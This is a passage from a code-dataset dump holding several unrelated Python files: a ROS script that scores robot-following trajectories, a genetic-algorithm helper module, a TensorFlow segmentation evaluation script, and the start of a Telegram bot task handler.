numpy.isclose(data[1][i],0.0007862454):\n#\t\tprint(data[0][i])\ngoodVolIntegrate(data)\n\nf.close()\n","repo_name":"Illinois-Relativity-Group/abid_bot","sub_path":"abid_bot_v2.8/bin/Massinator/test/h5_script_v1.py","file_name":"h5_script_v1.py","file_ext":"py","file_size_in_byte":1947,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"13304186254","text":"#!/usr/bin/env python\nimport argparse\nimport copy\nimport traceback\n\nfrom os import listdir\nfrom os.path import isfile, join\n\n#from cv_bridge import CvBridge\n\n\nimport math\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\nimport random\n# u\nimport numpy as np\nimport cv2 as cv\n\nimport rospy\n# Brings in the SimpleActionClient\nimport actionlib\n# Brings in the .action file and messages used by the move base action\nfrom move_base_msgs.msg import MoveBaseAction, MoveBaseGoal\n\n\nfrom squaternion import quat2euler\nfrom squaternion import euler2quat\n\nfrom sensor_msgs.msg import Image\nfrom geometry_msgs.msg import Point\nfrom geometry_msgs.msg import Point32\nfrom geometry_msgs.msg import TransformStamped\nfrom rosgraph_msgs.msg import Clock\n\nfrom costmap_converter.msg import ObstacleArrayMsg\nfrom costmap_converter.msg import ObstacleMsg\nfrom geometry_msgs.msg import Twist\n\n\nimport threading\n\n\nimport _thread\n\nfrom squaternion import quat2euler\nfrom squaternion import euler2quat\n\nfrom simple_pid import PID\n\nimport pickle\nimport utils\n\nimport logging\n\nlogger = logging.getLogger(__name__)\n\n\nclass Robot():\n  def __init__(self, name):\n    self.name = name\n    self.prev_call_vicon = None\n    self.state_ = {\"position\":(None, None), \\\n                   \"orientation\":None}\n    self.all_states_ = []\n    self.last_time_observation = None\n    if self.name == \"robot\":\n        rospy.Subscriber(\"/vicon/Robot/Robot\", TransformStamped, self.vicon_cb)\n    elif self.name == \"person\":\n        rospy.Subscriber(\"/vicon/Person/Person\", TransformStamped, self.vicon_cb)\n\n  def get_pos(self, idx):\n    if \"position\" in self.all_states_[idx].keys():\n      pos = self.all_states_[idx][\"position\"]\n    else:\n      pos = self.all_states_[idx][\"pos\"]\n    return pos\n\n  def get_orientation(self, idx):\n    return self.all_states_[idx][\"orientation\"]\n\n\n  def vicon_cb(self, pose_msg):\n    if self.last_time_observation is not None and abs(rospy.Time.now().to_sec() - self.last_time_observation) <0.025:\n      return\n    pos = pose_msg.transform.translation\n    self.last_time_observation = rospy.Time.now().to_sec()\n    self.state_[\"position\"] = (pos.x, pos.y)\n    euler = quat2euler(pose_msg.transform.rotation.x, pose_msg.transform.rotation.y, pose_msg.transform.rotation.z, pose_msg.transform.rotation.w)\n    self.state_[\"orientation\"] = euler[0]\n    self.all_states_.append(self.state_.copy())\n\n  def get_relative_position(self, center, idx):\n    relative_orientation = self.all_states_[idx]['orientation']\n    center_pos = np.asarray(center.get_pos(idx))\n    center_orientation = center.all_states_[idx]['orientation']\n\n    # transform the pos to center coordinat\n    relative_pos = np.asarray(self.get_pos(idx) - center_pos)\n    rotation_matrix = np.asarray([[np.cos(-center_orientation), np.sin(-center_orientation)], [-np.sin(-center_orientation), np.cos(-center_orientation)]])\n    relative_pos = np.matmul(relative_pos, rotation_matrix)\n\n    return relative_pos\n\n  def get_relative_heading_position(self, center, idx):\n    relative_orientation = self.all_states_[idx]['orientation']\n    center_pos = np.asarray(center.get_pos(idx))\n    center_orientation = center.all_states_[idx]['orientation']\n    print (np.rad2deg(relative_orientation - center_orientation))\n\n    # transform the relative to center coordinat\n    relative_pos = np.asarray(self.get_pos(idx) - center_pos)\n    relative_pos2 = np.asarray((relative_pos[0] +math.cos(relative_orientation) , relative_pos[1] + math.sin(relative_orientation)))\n    rotation_matrix = np.asarray([[np.cos(-center_orientation), np.sin(-center_orientation)], [-np.sin(-center_orientation), np.cos(-center_orientation)]])\n    relative_pos = np.matmul(relative_pos, rotation_matrix)\n    relative_pos2 = np.matmul(relative_pos2, rotation_matrix)\n    angle_relative = np.arctan2(relative_pos2[1]-relative_pos[1], relative_pos2[0]-relative_pos[0])\n    return angle_relative, relative_pos\n\n  def is_bag_finish(self):\n    if self.last_time_observation is not None and abs(rospy.Time.now().to_sec() - self.last_time_observation) > 1:\n      return True\n    return False\n\nclass Results():\n  def __init__(self):\n    self.center_pos_ = (0, 0)\n    self.name = \"\"\n    self.DESIRE_DISTANCE = 1.5\n    self.colors_visualization = cv.cvtColor(cv.applyColorMap(np.arange(0, 255, dtype=np.uint8), cv.COLORMAP_WINTER), cv.COLOR_RGB2BGR).reshape(255,3).tolist()\n    self.current_obsevation_image_ = np.zeros([500,500,3])\n    self.current_obsevation_image_.fill(255)\n\n    self.color_index = 0\n    self.first_call_observation = True\n    self.robot = Robot(\"robot\")\n    self.person = Robot(\"person\")\n\n  def add_line_observation_to_image(self, pos, pos2):\n      color = self.colors_visualization[self.color_index]\n      pos_image = utils.to_image_coordinate(pos, self.center_pos_)\n      pos_image2 = utils.to_image_coordinate(pos2, self.center_pos_)\n      if pos_image[0] >self.current_obsevation_image_.shape[0] or pos_image[0] < 0 or pos_image[1] >self.current_obsevation_image_.shape[1] or pos_image[1] < 0:\n          rospy.logerr(\"problem with observation: {}\".format(pos_image))\n          return\n      self.new_obsevation_image_ = cv.line(self.new_obsevation_image_, (pos_image[0], pos_image[1]), (pos_image2[0], pos_image2[1]), color, 1)\n\n  def add_triangle_observation_to_image(self, pos, orientation):\n      color = self.colors_visualization[self.color_index]\n      pos_image = utils.to_image_coordinate(pos, self.center_pos_)\n      pos_triangle1 = utils.to_image_coordinate((pos[0]+math.cos(orientation)*0.3, pos[1]+math.sin(orientation)*0.3), self.center_pos_)\n      pos_triangle2 = utils.to_image_coordinate((pos[0]+math.cos(orientation+math.pi/2)*0.1, pos[1]+math.sin(orientation+math.pi/2)*0.1), self.center_pos_)\n      pos_triangle3 = utils.to_image_coordinate((pos[0]+math.cos(orientation-math.pi/2)*0.1, pos[1]+math.sin(orientation-math.pi/2)*0.1), self.center_pos_)\n      poses = [pos_triangle1, pos_triangle2, pos_triangle3]\n\n      for pos in poses:\n          if pos[0] >self.current_obsevation_image_.shape[0] or pos[0] < 0 or pos[1] >self.current_obsevation_image_.shape[1] or pos[1] < 0:\n              rospy.logerr(\"problem with observation: {}\".format(pos))\n              return\n      self.new_obsevation_image_ = cv.drawContours(self.new_obsevation_image_, [np.asarray(poses)], 0, color, -1)\n\n\n  def add_arrow_observation_to_image(self, pos, orientation):\n      color = self.colors_visualization[self.color_index]\n      pos_image = utils.to_image_coordinate(pos, self.center_pos_)\n      pos_image2 = utils.to_image_coordinate((pos[0]+math.cos(orientation)*0.3, pos[1]+math.sin(orientation)*0.3), self.center_pos_)\n      if pos_image[0] >self.current_obsevation_image_.shape[0] or pos_image[0] < 0 or pos_image[1] >self.current_obsevation_image_.shape[1] or pos_image[1] < 0:\n          rospy.logerr(\"problem with observation: {}\".format(pos_image))\n          return\n      self.new_obsevation_image_ = cv.arrowedLine(self.new_obsevation_image_, (pos_image[0], pos_image[1]), (pos_image2[0], pos_image2[1]), color, 2, tipLength=0.5)\n\n  def add_circle_observation_to_image(self, pos, center_pos=None, image=None):\n      color = self.colors_visualization[self.color_index]\n      if image is None:\n          image = self.new_obsevation_image_\n      if center_pos is None:\n          center_pos = self.center_pos_\n      pos_image = utils.to_image_coordinate(pos, center_pos)\n      if pos_image[0] >self.current_obsevation_image_.shape[0] or pos_image[0] < 0 or pos_image[1] >self.current_obsevation_image_.shape[1] or pos_image[1] < 0:\n          rospy.logerr(\"problem with observation: {}\".format(pos_image))\n          return\n      return (cv.circle(image , (pos_image[0], pos_image[1]), 4, color, 2))\n\n\n\n  def update_observation_image(self, idx, len_data):\n      self.new_obsevation_image_ = np.copy(self.current_obsevation_image_)\n      robot_pos = self.robot.get_pos(idx)\n      robot_orientation = self.robot.get_orientation(idx)\n      person_pos = self.person.get_pos(idx)\n      person_orientation = self.person.get_orientation(idx)\n      if person_orientation is None or robot_orientation is None:\n          rospy.logerr(\"person or robot orientation is None\")\n          return\n      if self.first_call_observation:\n          self.first_call_observation = False\n          self.center_pos = person_pos\n      #self.add_circle_observation_to_image(robot_pos)\n      self.add_arrow_observation_to_image(robot_pos, robot_orientation)\n      self.add_triangle_observation_to_image(person_pos, person_orientation)\n\n      # self.add_line_observation_to_image(robot_pos, person_pos)\n      alpha = 0.50\n      self.current_obsevation_image_ = cv.addWeighted(self.new_obsevation_image_, alpha, self.current_obsevation_image_, 1 - alpha, 0)\n      self.color_index += 255//len_data\n\n\n  def get_current_observation_image(self):\n\n      image = self.current_obsevation_image_.astype(np.uint8)\n      #image = image/255.\n\n      return image\n\n\n  def get_angle_person_robot(self, idx):\n    pos_rel = self.robot.get_relative_position(self.person, idx)\n    angle_robot_person = math.atan2(pos_rel[1], pos_rel[0])\n    return (utils.wrap_pi_to_pi(angle_robot_person))\n\n  def get_dist_person_robot(self, idx):\n    pos_rel = self.robot.get_relative_position(self.person, idx)\n    return math.hypot(pos_rel[0], pos_rel[1])\n\n  def get_reward(self, idx):\n    reward = 0\n    pos_rel = self.robot.get_relative_position(self.person, idx)\n    angle_robot_person = math.atan2(pos_rel[1], pos_rel[0])\n    angle_robot_person = np.rad2deg(utils.wrap_pi_to_pi(angle_robot_person))\n    distance = math.hypot(pos_rel[0], pos_rel[1])\n    # Negative reward for being behind the person\n    if distance<0.4:\n      reward -= 1\n    if distance < 0.5:\n      reward = -1.3\n    elif abs(distance - self.DESIRE_DISTANCE) < 0.5:\n      reward += 0.5 * (0.5 - abs(distance - self.DESIRE_DISTANCE))\n    elif distance >= self.DESIRE_DISTANCE + 0.5:\n      reward -= 0.25 * (distance - self.DESIRE_DISTANCE + 0.5)\n    elif distance < self.DESIRE_DISTANCE - 0.5:\n      reward -= (self.DESIRE_DISTANCE - 0.5 - distance)/(self.DESIRE_DISTANCE - 0.5)\n    if abs(angle_robot_person) < 25:\n      reward += 0.5 * (25 - abs(angle_robot_person)) / 25\n    else:\n      reward -= 0.25 * abs(angle_robot_person) / 180\n    if abs(distance - self.DESIRE_DISTANCE) < 0.5 and abs(angle_robot_person) < 25:\n      reward += 0.25\n\n    reward = min(max(reward, -1), 1)\n    return reward\n\n  def save(self, name):\n    dic_data = {\"name\":name,\"robot\":self.robot.all_states_, \"person\":self.person.all_states_}\n    with open (name+\"_.pkl\", \"wb\") as f:\n      pickle.dump(dic_data, f)\n\n  def load(self, file_address, use_sim=False):\n    with open(file_address, \"rb\") as f:\n      dic_data = pickle.load(f)\n\n    self.name = dic_data[\"name\"]\n    self.person.all_states_ = dic_data[\"person\"][4:].copy()\n    self.robot.all_states_ = dic_data[\"robot\"][4:].copy()\n    if use_sim:\n      self.person.all_states_ = [ self.person.all_states_[idx*10] for idx in range (len(self.person.all_states_)//10)]\n      self.robot.all_states_ = [ self.robot.all_states_[idx*10] for idx in range (len(self.robot.all_states_)//10)]\n\n  def wait_until_bag_finish(self):\n    while not self.robot.is_bag_finish() or not self.person.is_bag_finish():\n      rospy.sleep(0.1)\n      rospy.loginfo(\"waiting for bag to finish\")\n      if len(self.person.all_states_)>0 and len(self.robot.all_states_)>0:\n        print(self.robot.get_relative_position(self.person, -1))\n        print(np.rad2deg(self.get_angle_person_robot(-1)))\n    print (self.robot.all_states_)\n    print (self.person.all_states_)\n\n  def calculate_orientation_dif(self, idx):\n    ori_rel, pos_rel = self.robot.get_relative_heading_position(self.person, idx)\n    return ori_rel\n\n  def get_metrics(self):\n    rewards = []\n    orientations = []\n    orientation_dif = []\n    distances = []\n    len_data = min(len(self.robot.all_states_), len(self.person.all_states_))\n    for idx in range (len_data):\n      # if idx % 10==0:\n      #   self.update_observation_image(idx)\n      rewards.append(self.get_reward(idx))\n      distances.append(self.get_dist_person_robot(idx))\n      orientations.append(self.get_angle_person_robot(idx))\n      orientation_dif.append(self.calculate_orientation_dif(idx))\n\n    mean_orientation = np.mean(orientations)\n    sum_orientations_m = 0\n    for orientation in orientations:\n      sum_orientations_m += np.power(utils.wrap_pi_to_pi(mean_orientation - orientation),2)\n    sum_orientations_m /= len(orientations)\n    std = np.sqrt(sum_orientations_m)\n\n\n    return {\"name\":self.name, \"orientation_mean\":np.average(orientations), \"orientation_std\":std, \\\n            \"reward\":np.sum(rewards), \"distance\":np.average(distances), \"distance_std\":np.std(distances),\\\n            \"ori_dif\":np.average(orientation_dif)}\n\n\n  def plot_calculate_metrics(self):\n    rewards = []\n    orientations = []\n    distances = []\n    len_data = min(len(self.robot.all_states_), len(self.person.all_states_))\n    for idx in range (len_data):\n      if idx % 3==0:\n        self.update_observation_image(idx, len_data//3)\n      rewards.append(self.get_reward(idx))\n      distances.append(self.get_dist_person_robot(idx))\n      orientations.append(self.get_angle_person_robot(idx))\n    print (np.rad2deg(self.robot.get_relative_heading_position(self.person, 0)[0]))\n\n    img = self.get_current_observation_image()\n    img = cv.cvtColor(img, cv.COLOR_RGB2BGR)\n    print(f\"\\n\\ndist avg: {np.average(distances)} orientation avg: {np.rad2deg(np.average(orientations))},  reward: {np.sum(rewards)} reward avg: {np.average(rewards)}\")\n    cv.imshow(\"image\", img)\n    cv.waitKey(0)\n\n\n\ndef plot_all_results( results, is_sim=False):\n\n  name = []\n  orientations = []\n  rewards = []\n  distances = []\n  orientations_std = []\n  distances_std = []\n  for result in results:\n    met = result.get_metrics()\n    name.append(met[\"name\"])\n    rewards.append(met[\"reward\"])\n    distances.append(met[\"distance\"])\n    distances_std.append(met[\"distance_std\"])\n    orientations.append(np.rad2deg(met[\"orientation_mean\"]))\n    orientations_std.append(np.rad2deg(met[\"orientation_std\"]))\n    print (f\"{name[-1]}: Distance_avg: {distances[-1]:.2f} Distance_std: {distances_std[-1]:.2f} Orientation_avg: {orientations[-1]:.1f} Orientation_std: {orientations_std[-1]:.1f} reward: {rewards[-1]:.2f} ori_dif: {np.rad2deg(met['ori_dif']):0.2f}\")\n    if is_sim:\n      print (f\"{name[-1]}: ${distances[-1]:.2f}\\pm{distances_std[-1]:.1f}$ & ${orientations[-1]:.1f}\\pm{orientations_std[-1]:.1f}$ & ${rewards[-1]:.2f}$\")\n    else:\n      print (f\"{name[-1]}: ${distances[-1]:.2f}\\pm{distances_std[-1]:.1f}$ & ${orientations[-1]:.1f}\\pm{orientations_std[-1]:.1f}$ & ${rewards[-1]:.2f}$\")\n    print (\"\\n\")\n\n  #df = pd.DataFrame({'name': name, 'assess':[x for x in range(len(name))]})\n\n  #plt.errorbar(range(len(df['name'])), orientations, orientations_std,  fmt='o')\n  #plt.xticks(range(len(df['name'])), df['name'])\n\nif __name__== \"__main__\":\n  parser = argparse.ArgumentParser(description='input weight file of the network')\n  parser.add_argument('--name', default=\"no_name\", type=str, help='name_traj')\n  parser.add_argument('--file-name', default=\"no_name\", type=str, help='name_file_to_load')\n  parser.add_argument('--folder-name', default=\"no_name\", type=str, help='name_file_to_load')\n  parser.add_argument('--save', action='store_true')\n  parser.add_argument('--load-file', action='store_true')\n  parser.add_argument('--load-folder', action='store_true')\n  parser.add_argument('--plot', action='store_true')\n  parser.add_argument('--use-sim-data', action='store_true')\n  parser.add_argument('--from-bag', action='store_true')\n  args = parser.parse_args()\n\n  node = rospy.init_node('plot_results')\n  if args.load_folder:\n    onlyfiles = [join(args.folder_name, f) for f in listdir(args.folder_name) if isfile(join(args.folder_name, f))]\n    onlyfiles.sort()\n\n    all_results = []\n    for pkl_name in onlyfiles:\n      result = Results()\n      result.load(pkl_name)\n      name_list = result.name.split(\"_\")\n      if not args.use_sim_data and name_list[-1] != \"planner\" and name_list[-1] != \"line\":\n        print (\"error \")\n        continue\n        new_name = f\"{name_list[-1]}_{name_list[-2]}_base_line\"\n        result.name = new_name\n        result.save(new_name)\n\n      all_results.append(result)\n    plot_all_results(all_results, args.use_sim_data)\n    #plt.show()\n\n\n\n\n  else:\n    result = Results()\n    if args.from_bag or args.load_file:\n      if args.from_bag:\n        result.wait_until_bag_finish()\n      else:\n        result.load(args.file_name, args.use_sim_data)\n    else:\n      print(\"exiting you need to load or read from bag file\")\n      exit(0)\n\n    if args.save:\n      result.save(args.name)\n\n    if args.plot:\n      result.plot_calculate_metrics()\n","repo_name":"payamn/follow_ahead_rl","sub_path":"script/plot_bag.py","file_name":"plot_bag.py","file_ext":"py","file_size_in_byte":16796,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"}
+{"seq_id":"34351875970","text":"import sys\n\nimport numpy as np\n\n\ndef cal_pop_fitness(equation_inputs, pop):\n    # Cálculo do ‘fitness’ de cada solução na população atual\n    # A função ‘fitness’ calcula a soma dos produtos entre cada\n    # entrada e seu peso correspondente\n    return np.sum(pop * equation_inputs, axis=1)\n\n\ndef select_mating_pool(pop, fitness, num_parents):\n    # Selecionar os melhores indivíduos na geração atual\n    # para seren pais para cruzamento\n    parents = np.empty((num_parents, pop.shape[1]))\n\n    for parent_num in range(num_parents):\n        max_fitness_idx = np.where(fitness == np.max(fitness))\n        max_fitness_idx = max_fitness_idx[0][0]\n        parents[parent_num, :] = pop[max_fitness_idx, :]\n        fitness[max_fitness_idx] = -sys.maxsize - 1\n\n    return parents\n\n\ndef crossover(parents, offspring_size):\n    offspring = np.empty(offspring_size)\n    # o ponto onde o cruzamento acontece entre os dois genitores\n    # geramos um número aleatório entre 1 e o tamanho do cromossomo\n    crossover_point = np.random.randint(1, offspring_size[1])\n\n    for k in range(offspring_size[0]):\n        # índice do primeiro genitor\n        parent1_idx = k % parents.shape[0]\n        # índice do segundo genitor\n        parent2_idx = (k+1) % parents.shape[0]\n        # o novo filho terá a primeira parte de seus genes\n        # oriunda do primeiro genitor\n        offspring[k, 0:crossover_point] = parents[parent1_idx, 0:crossover_point]\n        # o novo filho terá a segunda parte de seus genes\n        # oriunda do segundo genitor\n        offspring[k, crossover_point:] = parents[parent2_idx, crossover_point:]\n\n    return offspring\n\n\ndef mutation(offspring_crossover, mutation_rate=0.3):\n    # a mutação transforma um gene único em cada filho, aleatoriamente\n    for idx in range(offspring_crossover.shape[0]):\n        # a mutação só ocorrerá se dentro da 'mutation_rate' (por padrão 30%)\n        if np.random.random() < mutation_rate:\n            # O valor aleatório a ser adicionado\n            random_idx = np.random.randint(0, offspring_crossover.shape[1])\n            random_value = np.random.uniform(-1.0, 1.0, 1)\n            offspring_crossover[idx, random_idx] = offspring_crossover[idx, random_idx] + random_value\n\n    return offspring_crossover\n","repo_name":"gregori/genetic_algorithm","sub_path":"ga.py","file_name":"ga.py","file_ext":"py","file_size_in_byte":2287,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"31994209418","text":"import numpy as np\nimport tensorflow as tf\nfrom data_utils import Dataset_Raw_Provide\nfrom net_main import SegmentationNetwork\nimport time\nimport utils as utils\nfrom initialize import _DATA_PATH, _CHKPT_PATH, _RESULT_PATH, _TINY\nimport os\nimport math\nfrom conv_defs import _CONV_DEFS\n\n'''\nScript to evaluate the network by using raw test data\n'''\n\n# TODO: Confusion matrix, IOU\ndef eval(dir_raw_record,\n          batch_size,\n          num_epochs,\n          data_dims_from_ckpt = None,\n          save_prediction_interval=1,\n          show_last_prediction = True,\n          load_from_chkpt=None,\n          multi_deconv=1,\n          conv_defs=_CONV_DEFS[0],\n          mob_depth_multiplier=1.0,\n          follow_up_convs = 0,\n          sep_convs = False,\n          depthsep_inter_norm_activn = True):\n    '''\n    Evaluate the network from tfRecords.\n    :param dir_raw_record: Directory from which the data is produced\n    :param batch_size: batch size\n    :param num_epochs: number of epochs\n    :param save_prediction_interval: n where per n predictions are saved\n    :param show_last_prediction: true if you want to show the last prediction\n    :param load_from_chkpt: file path for the checkpoint to be loaded\n    :param multi_deconv: Set true to allow multiple layers in deconv network\n    :param mob_f_ep: The mobilenet layer upto which the network must be built\n    :param mob_depth_multiplier: depth multiplier of mobilenet to reduce the number of parameters\n    :return:\n    '''\n    #dataset = Dataset_Raw_Provide(dir_raw_record,type='test')\n    dataset = Dataset_Raw_Provide(dir_raw_record,type='test',val_fraction = 0.1, test_fraction = 0.1)\n    data_dim = dataset.data_dim\n    print('Data dimension: ', data_dim)\n    print('Data dims from chkpt ', data_dims_from_ckpt)\n\n    if load_from_chkpt and (not data_dims_from_ckpt == data_dim):\n        print('The data dimensions from chkpt and data do not match')\n        return\n\n    depths = tf.placeholder(dtype=tf.float32, shape=[None, data_dim[0], data_dim[1], 1])\n    labels = tf.placeholder(dtype=tf.int32, shape=[None, data_dim[0], data_dim[1]])\n\n    model = SegmentationNetwork(depths,\n                                data_dim,\n                                is_training=False,\n                                dropout_keep_prob=1.0,\n                                multi_deconv=multi_deconv,\n                                conv_defs=conv_defs,\n                                mob_depth_multiplier=mob_depth_multiplier,\n                                follow_up_convs = follow_up_convs,\n                                sep_convs = sep_convs,\n                                depthsep_inter_norm_activn= depthsep_inter_norm_activn)\n\n    print('deconv_logits shape: ', model.net_class.deconv_logits.shape)\n    predictions = model.get_predictions()\n    print('prediction shape', predictions.shape)\n\n    cross_entropy_loss = model.loss(labels)\n\n    init_op = tf.group(tf.global_variables_initializer(),\n                       tf.local_variables_initializer())\n\n    timestamp = utils.get_timestamp()\n    evaluation_result_path = _RESULT_PATH + '_evaluation_raw_' + '%s' % timestamp + \"_batch_\" + str(\n        batch_size) + \"_ckpt_\" + str(load_from_chkpt.split('/')[-1].split('.')[0]) + \"/\"\n    if not os.path.exists(evaluation_result_path):\n        os.makedirs(evaluation_result_path)\n    test_details_file_path = evaluation_result_path + \"test_details.txt\"\n    utils.print_test_details(batch_size, num_epochs, None, load_from_chkpt,\n                                 test_details_file_path)\n    metrics_file_path = evaluation_result_path + \"test_metrics.txt\"\n    image_result_part_path = evaluation_result_path + \"test_image_\"\n    pred_result_part_path = evaluation_result_path + \"human_0_rgb_\"\n    loss_path = evaluation_result_path + \"loss.png\"\n    with tf.Session() as sess:\n        sess.run(init_op)\n        step = 0\n        step_vector = []\n        loss_vector = []\n        acc_vector = []\n        TP_sum = np.zeros((10,))\n        TN_sum = np.zeros((10,))\n        FP_sum = np.zeros((10,))\n        FN_sum = np.zeros((10,))\n\n        if load_from_chkpt:\n            utils.load_checkpoint(sess, load_from_chkpt)\n        else:\n            print('Error! Pass a checkpoint to load')\n            return\n\n        start_time = time.time()\n        try:\n            #while not coord.should_stop():\n            dataset.initialize_epoch_for_raw_data(permutate=False)\n            loopsize = math.floor(dataset.total_samples/batch_size)\n            for iter in range(loopsize):\n                # Run one step of the model.  The return values are\n                # the activations from the `train_op` (which is\n                # discarded) and the `loss` op.  To inspect the values\n                # of your ops or variables, you may include them in\n                # the list passed to sess.run() and the value tensors\n                # will be returned in the tuple from the call.\n                depths_data, labels_data = dataset.get_batch_from_raw_data(batch_size, convert2tensor=False)\n                #depths_data = np.repeat(depths_data, 144, axis=0)\n                #labels_data = np.repeat(labels_data, 144, axis=0)\n                # print('shape depth: ', depths_data.shape, ' shape labels: ', labels_data.shape)\n                loss, pred, corr_depth, corr_label = sess.run(\n                    [cross_entropy_loss, predictions, depths, labels], feed_dict={depths: depths_data, labels: labels_data})\n\n                loss_value = np.mean(loss)\n\n                # pred = sess.run(model.get_predictions())\n                # last_label = sess.run(labels)\n\n                # print('pred shape: ', pred.shape)\n                # print('last label shape: ', last_label.shape)\n\n\n                # Print an overview fairly often.\n                if step % save_prediction_interval == 0:\n                    TP, TN, FP, FN = utils.get_confusion_matrix(pred, corr_label)\n                    TP_sum += TP\n                    TN_sum += TN\n                    FP_sum += FP\n                    FN_sum += FN\n                    acc = utils.accuracy_per_pixel(pred, corr_label)\n                    utils.print_metrics(loss=loss_value,accuracy=acc,step=step,metrics_file_path=metrics_file_path)\n                    step_vector.append(step)\n                    loss_vector.append(loss_value)\n                    #utils.visualize_predictions(pred[0],np.squeeze(corr_label[0]),np.squeeze(corr_depth[0]),path = image_result_part_path + str(step) + '.png')\n                    utils.save_predictions(pred[0], np.squeeze(corr_depth[0]),\n                                                path=pred_result_part_path + str(step) + '.png', interpolation = 'bilinear')\n\n                step += 1\n                print('step: ',step)\n\n        except tf.errors.OutOfRangeError:\n            print('Done training for %d epochs, %d steps.' % (1, step))\n        finally:\n            end_time = time.time()\n            print('Time taken for training: ', end_time - start_time)\n\n            # Get IOU over complete data\n            IOU = np.mean(TP_sum / (TP_sum + FP_sum + FN_sum + _TINY))\n            metrics_file = open(metrics_file_path, 'a+')\n            print('IOU OVER COMPLETE EVALUATION DATA: ' + str(IOU), file=metrics_file)\n            metrics_file.close()\n\n        utils.plot_loss(step_vector, loss_vector, loss_path, 'test')\n\nif __name__ == '__main__':\n    # dataset = DataSet(num_poses=53, num_angles=360, max_records_in_tfrec_file=3600, val_fraction=0.01,\n    #                   test_fraction=0.01)\n    #dataset = DataSet(num_poses=1, num_angles=360, max_records_in_tfrec_file=360, val_fraction=0.1, test_fraction=0.1)\n\n    #chkpt = _CHKPT_PATH + '2017_09_25_06_36_checkpoint-1.ckpt'\n\n    #dir_raw_record = _DATA_PATH + 'raw_data_single_model_by_4'\n    #dir_raw_record = '/home/neha/segmentation/' + 'data/blender_data/render_data'\n    #dir_raw_record = '/home/neha/segmentation/' + 'data/blender_data/render_data_test'\n    #dir_raw_record = _DATA_PATH + 'raw_data_single_model'\n\n    #dir_raw_record = '/home/neha/Documents/data/blender_data/render_data_3000_1_pose_by_4'\n    #dir_raw_record = '/home/neha/Documents/data/blender_data/render_data'\n\n    dir_raw_record = '/media/neha/ubuntu/data/segmentation/render_data_corrected_TWO'\n\n    batch_size = 2\n    num_epochs = 1\n    save_prediction_interval = 1\n    #load_from_chkpt = _CHKPT_PATH + 'REMOTE_2018_03_31_23_58_checkpoint-1.ckpt'\n    #load_from_chkpt = _CHKPT_PATH + '2018_04_05_08_53_checkpoint-1.ckpt'\n    #load_from_chkpt = _CHKPT_PATH + 'REMOTE_b_50_md_1_total_300_2018_05_03_11_52_checkpoint-1.ckpt' #batch_of_50_multi-deconv=1\n    #load_from_chkpt = _CHKPT_PATH + '2018_05_03_09_24_checkpoint-1.ckpt' #batch_of_100_multi-deconv=1, pairs = 300\n    #load_from_chkpt = _CHKPT_PATH + '2018_05_03_11_52_checkpoint-1.ckpt' #batch_of_50_multi-deconv=1, pairs = 300\n    #load_from_chkpt = _CHKPT_PATH + '2018_05_03_16_26_checkpoint-1.ckpt' #batch_of_10_multi-deconv=1, pairs = 300\n    #load_from_chkpt = _CHKPT_PATH + '2018_05_03_22_56_checkpoint-1.ckpt' #batch_of_50_multi-deconv=2, pairs = 300\n    #load_from_chkpt = _CHKPT_PATH + '2018_05_05_14_05_checkpoint-1.ckpt' #batch_of_50_multi-deconv=1, pairs =600\n\n    # load_from_chkpt = _CHKPT_PATH + 'REMOTE_b_50_md_1_total_300_2018_05_03_11_52_checkpoint-1.ckpt'  # batch_of_50_multi-deconv=1\n    # load_from_chkpt = _CHKPT_PATH + '2018_05_16_07_55_checkpoint-1.ckpt'  # batch_of_50_multi-deconv=1, corrected, 300, REMOTE\n    # load_from_chkpt = _CHKPT_PATH + '2018_05_17_08_46_checkpoint-1.ckpt'  # batch_of_50_multi-deconv=1, corrected, 300, standardized, REMOTE\n    load_from_chkpt = _CHKPT_PATH + '2018_05_20_10_24_checkpoint-1.ckpt'  # batch_of_50_multi-deconv=1, corrected_TWO - changed scale and positions to match kinect v1 domain, 300, REMOTE\n\n\n    if not load_from_chkpt:\n        print('You must provide a checkpoint to evaluate data')\n        exit()\n\n    multi_deconv, conv_def_num, mob_depth_multiplier, data_dims_from_ckpt, follow_up_convs, sep_convs, depthsep_inter_norm_activn = utils.get_model_details_from_chkpt_path(\n        load_from_chkpt)\n    conv_defs = _CONV_DEFS[conv_def_num]\n\n    eval(dir_raw_record=dir_raw_record,\n         batch_size=batch_size,\n         num_epochs=num_epochs,\n         data_dims_from_ckpt = data_dims_from_ckpt,\n         save_prediction_interval=save_prediction_interval,\n         load_from_chkpt=load_from_chkpt,\n         multi_deconv=multi_deconv,\n         conv_defs=conv_defs,\n         mob_depth_multiplier=mob_depth_multiplier,\n         follow_up_convs = follow_up_convs,\n         sep_convs = sep_convs,\n         depthsep_inter_norm_activn = depthsep_inter_norm_activn)\n","repo_name":"neha191091/human-segmentation","sub_path":"segmentation_python/evaluation_raw_data.py","file_name":"evaluation_raw_data.py","file_ext":"py","file_size_in_byte":10655,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"21"}
+{"seq_id":"30548302226","text":"from telegram import (Update, ReplyKeyboardMarkup, ReplyKeyboardRemove)\nfrom telegram.ext import (\n    CommandHandler, MessageHandler, Filters, ConversationHandler,\n    CallbackContext)\nimport logging\nimport json\n\nfrom ..room_handler import end_task_group, get_room_manager_of_group, remove_room_manager_of_group\nfrom .. import state\nfrom ....backend.tasks.sentence_correction_storage import get_sentence_correction_task_of_group, remove_sentence_correction_task_of_group\nfrom ...util import get_gif_link, get_group_chat_id, send_animation, send_message, create_keyboard_markup\nfrom ....backend.db.task import insert_sentence_correction_adaptive_data_entry\n\n\nlogger = logging.getLogger(__name__)\n\n\nremove_keyboard_markup = ReplyKeyboardRemove()\nkeyboard_bool = create_keyboard_markup(['Correct', 'Incorrect'])\n\n\ndef task_selection(update: Update, context: CallbackContext):\n    \"\"\"\n    Evaluates task selection messages.\n    If the sentence correction-task was requested by the right user,\n    show the task-description, otherwise return to the task selection\n    \"\"\"\n    # Get room manager\n    group_room_manager = get_room_manager_of_group(get_group_chat_id(update))\n    # Get selected user who has to chose the task\n    selected_usr = group_room_manager.get_selected_user()\n    # Check if the message is from the selected user\n    if update.message.from_user.username == selected_usr:\n        # Set task in room manager\n        group_room_manager.next_task(\"sentence correction\")\n        return show_sentence_task_description(update, context)\n    